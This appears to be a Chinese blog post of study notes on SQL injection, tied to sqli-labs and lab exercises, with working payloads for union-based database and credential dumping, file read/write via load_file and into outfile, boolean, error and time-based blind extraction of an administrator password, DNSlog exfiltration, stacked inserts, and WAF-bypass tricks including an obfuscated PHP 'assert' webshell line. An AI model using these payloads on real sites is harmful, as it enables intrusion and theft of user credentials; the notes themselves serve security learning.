sql注入总述

1.sql注入

原理

攻击者通过把恶意SQL命令插入到Web表单的输入域或页面请求的查询字符串中,并且插入的恶意SQL命令会导致原有SQL语句作用发生改变,从而达到欺骗服务器执行恶意的SQL命令的一种攻击方式。

相关知识

image-20230524231210348

image-20230522161221724

答案是bc,a错在注入点在y上了;d与问题无关

总结:注入点是谁,就要将语句写在其后面

a)Mysql结构

image-20230522163119227

Mysql数据库

数据库A=网站A=数据库用户A

​ 表名

​ 列名

​ 数据

数据库B=网站B=数据库用户B

​ …

如上,一个站一个数据库用户,即使A站有漏洞,不影响B站使用,但是嘞,如果是root用户高权限可以跨库了。

相关知识点:

1.为了得到数据,需要库->表->列

2.所谓的数据库高低版本,即在Mysql库5.0及以上版本中,存在information_schema库,它记录了所有数据库名,表名,列名。

3.数据库中的”.”代表下一级,如admin.user,即admin库下的user表

4.information_schema.tables/columns;记录的所有表名/列名信息

​ table_schema库名;

​ table_name表名;

​ column_name()列名;

这些知识点,在sql-labs实践时得到体现。

注入点判断

老办法:id=1 and 1=1页面正常 与id=1 and 1=2页面错误

快方法:id=1asdsad,页面错误,就加上其它的字符,对页面有影响

注意:404错误和500跳转的话,那就是特殊情况咯

简单注入之联合查询

猜解准备

  1. 猜解列名数量(字段数) order by x 页面正常否
  2. id =-1 union select 1,2,…,x id=-1查询不存在后,才会回显后面的1,2,3…x位置

信息收集

将数字替换成version()、database()、user()、@@version_compile_os()…

高权限下的跨库查询(即指定x库x表下的数据)

1
2
3
4
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 and '1'='1 库 //爆库
?id=-1' union select 1, (select group_concat(table_name) from information_schema.tables where table_schema='security'),3 and '1'='1 表 //爆表
?id=-1' union select 1, (select group_concat(column_name) from information_schema.columns where table_name='users'),3 and '1'='1 列 //爆列
?id=-1' union select 1,(select group_concat('~',username,password) from security.users ),3 and '1'='1 字段 //爆字段

group_concat是多个拼接显示;或者可用limt x,1变动猜解

文件读写操作

路径获取常见方法:

load_file():读取函数

into outfile或into dumpfile:导出函数

select load_file('d:/test/1.txt')

select 'x' into outfile 'd:/www.txt';(需要配置file权限)

即Mysql下的my.ini文件中加入secure_file_priv=’’,重启mysql即可

?id=-1%20union%20select%201,load_file(%27D:\\phpstudy_pro\\WWW\\sqli\\1.txt%27),3 读取文件

image-20230522185816516

image-20230522190256745

?id=-1%20union%20select%201,%27x%27,3%20into%20outfile%20%20%27D:\\phpstudy_pro\\WWW\\sqli\\2.txt%27 --+写入文件;–+是注释掉后面的LIMIT

image-20230522191240332

路径获取常见方法:

报错显示;

遗留文件;(phpinfo.php啥的)

漏洞报错;

平台配置文件;(什么.ini之类的)

爆破等;

常见读取文件列表:

防注入相关

魔术引号开关:

magic_quotes_gpc=off

当它为On时,输入数据中的引号、反斜线、NULL均被加上反斜线,效果同addslashes()

所以就用编码或宽字节绕过了。

编码之后,括号里就不用单引号了。即load_file(‘路径’)变为load_file(编码)即可

内置函数:int

是指,对输入变量进行类型判断,如:

1
2
3
4
5
6
7
8
if (is_int($var_name1)) 
{
拼接sql语句,执行sql语句
}
else
{
报错啥的
}

这种就别想着绕过了吧。所以强类型语言其实很少有sql注入?

自定义关键字:select

是指,比如str_replace(),替换输入中的select,所以一般大小写绕过或双写

b)类型及提交注入

前景引入

id=1; 数字型

name=’zifu’ 字符型

例:

1
2
$name=$_GET['x']
$sql="select * from user where name='$name'";

此时,?x=yuleiyun and 1=1

会出现select … name=‘yuleiyun and 1=1’

故引出了闭合条件。(也是一种参数类型,即非数字型注入,都需要闭合)

明确参数类型

数字;

字符;

搜索;(like 模糊查询 name=’%ring%’)

Json;

请求方法

get;(url)

post;

cookie;

http代理;

referer;

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$get =$_GET['a'];//参数a为get请求方式,以url提交
echo $get;
$post=$_POST['b'];//参数b为post请求方式,bp上提交
echo $post;
$c=$_COOKIE['c'];//参数c为cookie请求方式(其实COOKIE是可以接收到GET请求或POST请求的啊,以后的COOKIE注入),bp上提交
echo $c;
$r=$_REQUEST['r'];//参数r为request请求方式(REQUEST可以接收GET或POST)
echo $r;
$s=$_SERVER['HTTP_USER_AGENT'];//具体见$_SERVER详解
echo $s;
?>

具体体现为:url中….?a=123&b=345,页面只会显示123

而要显示参数b,需要进行post请求,即在bp中,体现为,在请求体中输入b=345;

image-20230523122704138

image-20230523125650035

手动更改方框处的GET变为POST不会有变化,需要右键change request method才可以,注意get请求下的参数要显示,需要在url位置上搭配**?**,即使在post下也会显示。

嫌麻烦的话,针对post请求,hackbar工具也有同样效果

sqli-labs:

less 5,6(字符型注入);

less 11(post提交);

less 20(cookie注入);

less 18(http头部注入);

json注入

JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、更快,更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 “application/json”。

json格式为,post中,输入json={“usename”:”admin”}

c)查询方式及报错盲注

查询方式:

select 查询

select * from users where id=$id;

显示数据

insert 添加

insert into users(a,b,c) values(1,'x',3);

用户注册添加时

delete 删除

delete from users where id=$id;

后台管理,删除文章或用户等操作

update 更新

update user set pwd='pd' where id=1 and username='admin';

同步或缓存操作

order by 排序

查询总结:

根据不同查询方式和网站应用关系去猜解注入

报错盲注:

使用场景:

当注入时,获取的数据不回显在前端时,进行报错盲注

分类:

布尔盲注:

regexp;

substr;

like;

like ‘wh%’

ord/ascii;

ascii(x)=97 x的ascii码是否是97

left;

left(a,b)从左侧截取a的前b位

例如:database()=’security’ ;

left(database(),3)=’sec’;

mid;

mid(a,b,c) 从位置b开始,截取字符串a的c长度的子串

长度->字符这样爆破,诶。

20231008更新一下

普通盲注

发现在浏览器的url上如何构造,错误消息都一致显示时,考虑bp,观察可注入字段,并查看响应包情况

比如,bp发现cookie有个id字段,未处理时,响应包会有一个 Welcome字段

如果加了一个单引号或双引号,该字段消失

考虑布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
' and '1'=1'  #有Welcome字段
' and '1'=2' #无welcome字段

#证明有users表
' and (select 'a' from users limit 1)='a; #有welcome字段
#证明有该字段
' and (select 'b' from users where username='administrator')='b; #有welcome字段
' and (select 'b' from users where username='test')='b; #说明没有test用户
#上面的'a',和'b',只是一个成立的条件罢了
#密码长度判断
' and (select 'b' from users where username='administrator' and length(password)>1)='b #有welcome
' and (select 'b' from users where username='administrator' and length(password)>10)='b #有welcome
' and (select 'b' from users where username='administrator' and length(password)>20)='b #无welcome
#试出来,长度为20

#判断首字母
' and (select substring(password,1,1) from users where username='administrator')='a
#bp爆破

更有效的是写一个python脚本,用二分查找

当然了,bp的集束炸弹 爆破也可以,总共才720个可能

mikrs3s8opuw8u2i1252

额外条件触发的盲注

这里用到的知识是,case when

1
2
3
4
#第一个是触发'a'='a
' and (select case when (1=2) then 1/0 else 'a' end)='a
#第二个触发的是1/0,引起报错
' and (select case when (1=1) then 1/0 else 'a' end)='a

例子

bp抓包,cookie的id字段

已知啊,有users表,有字段为password,username,有账号为administrator用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#加单引号
1' #500报错
#双引号
1" #200 可以排除
#数字型布尔
1 and 1=2 #200

#单引号布尔
' and '1'='2 #200 好好好,这么玩是吧
#两个单引号
1'' #200,好好好,你很好

#继续尝试
1' and ' #500
1' or ' #500
1' && ' #500
1' || ' #200 好好好,就这个


1' || '' || ' #200
'||(select '')||' #500

'||(select '' from dual)||' #200 dual表存在 ,嘶为什么users表不行?
#精确到select 要搭上一个表名,这是一个Oracle的数据库
' || (select '' from test) || ' #500 test表不存在
' || (select '' from users where rownum=1) || #200 证明了users表的存在

#布尔的条件触发
' || (select case when (1=2) then 1/0 else '' end from dual) || ';#500,啊咧?

' || (select case when (1=2) then to_char(1/0) else '' end from dual) || '#200 好好好,还to_char()起来了
' || (select case when (1=1) then to_char(1/0) else '' end from dual) || '#500
#好好好,确认存在布尔盲注,我嘞个乖乖

#证明administrator用户是存在的
' || (select case when (1=2) then to_char(1/0) else '' end from users where username='administrator') || '#200
#爆破密码
' || (select case when length(password)>1 then to_char(1/0) else '' end from users where username='administrator') || '#500
#这个是正常的啊,密码长度大于1,那么就触发了1/0报错
' || (select case when length(password)>20 then to_char(1/0) else '' end from users where username='administrator') || '#200
#说明长度不超过20
...=20....#500 长度就是20
#现在遍历每个位置的值
' || (select case when substr(password,1,1)='a' then to_char(1/0) else '' end from users where username='administrator') || ' #200
#说明第一个字母不是a

bp得到,第一个值 5

时间(延时)盲注:

if;

if(a<4,”小”,”大”);如果a的值满足<4嘞,返回”小”;否则返回”大”

sleep;

sleep(if(length(database()<8),5,0))

盲注一般写脚本、sqlmap做

报错注入:

无回显内容时,可以强制报错回显。

常见的有:

floor;

updatexml;

extractvalue;

使用优先度:

联合>报错>布尔>时间

注入技巧

类型判断+回显情况

d)二次、加解密、DNSlog注入等

加解密注入

一般比如,将数据进行了加密,需要弄清楚它所采用的加密解密算法,做注入时,将输入数据同样加密后再提交

二次注入

适用场景:已知代码的情况下,构造

经典例子就是,注册时,允许注册admin’#这种账号,登陆进去修改admin’#的密码时其实是修改了admin(如果有的话)的密码。等于说你已知管理员账号,但不知道密码,你又可以注册又可以改密码,这种情况。

DNSlog注入

适用场景:需要有文件读取的操作权限,解决盲注不回显数据的问题。

利用concat将select查询的结果与一个dnslog地址进行拼接,形成一个能够访问的域名;接着用load_file()导入或请求这个地址,在dnslog中就会有记录。

可以用平台,可以用github上的dnslog.py脚本

中转注入

适用场景:为了避免遇到加解密注入时,自己进行加密注入。以base64为例,自己写个php文件,获取该网站url,利用base64_encode函数对输入的参数x进行加密。

sqlmap提供爆破参数,传递给php,php尝试获取内容。

1
2
3
4
5
6
7
<?php
$url='http://dasdadaawfwfaf/asd.asp?id=';
$payload=base64_encode($_GET['x']);
$urls=$url.$payload;
file_get_contents(); //在php中,字符串拼接是"." //有的说,换成header()
//echo $urls;
?>

可以该php代码放到本地环境中,如phpstudy/www/1.php

sqlmap就可以:

1
python sqlmap.py -u "http://localhost:8080/1.php?x=" - v 3

sqli-labs:

less 21 cookie&加解密注入

less24 post登陆框&二次注入

less 9 load_file&dnslog带外注入

e)堆叠注入及WAF绕过

堆叠查询

(stacked injection),注入语句时,可以有多个语句。

局限性:受到API和数据库的限制

?id=1;insert into users(id,username,password) values(1,2,3) --+

适用场景举例:注入需要管理员账号密码,密码是加密的,无法解密;那么堆叠注入进行插入数据,由于用户和密码是自定义的,所以可以正常解密登录

sqli-labs:

less 38 堆叠注入

WAF绕过

WAF绕过
数据
大小写
加解密
编码解码
等价函数
特殊符号
反序列化
注释符混用
方式
提交方式更改
变异
其他
Fuzz/模糊测试
数据库特性
垃圾数据溢出
HTTP参数污染

补充:内联注释绕过:MYSQL数据库特性 /*!需要查询的数据*/

参数污染

即有多个相同参数时,以哪个位置的参数为主。

以php为例:

输入参数为….?x=12&x=7时

结果显示为7

宝塔WAF搭建部署。

绕过举例:如果拦截了database()这个函数,可以用database//()**;

2021的安全狗联合绕过1:

?id=-1 union%23a%0Aselect 1,2,3#

%23a%0Ax相当于#a换行符

相当于:换行执行

union #a

select 1,2,3#

安全狗绕过2:

一般是字符串变形

1
2
3
4
<?php
$a = substr_replace("assexx","rt",4);
$a($_POST['x']);
?>

达到免杀效果。

https://www.freebuf.com/articles/web/195304.html

php+apache下:

?id=1/**&id=-1 union select 1,2,3#*/

原理相当于:/**…*/起注释作用,安全狗获得整段数据,匹配的是1/**&id=-1 union select 1,2,3#*/,识别到后面是注释符时,正常情况下不执行,安全狗直接不管,但参数污染导致接收的是真实数据是-1 union select 1,2,3#*/

一般都是脚本试出来的。

像这种绕过,一般要去论坛上找最新的了。

f)sqlmap绕过waf

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信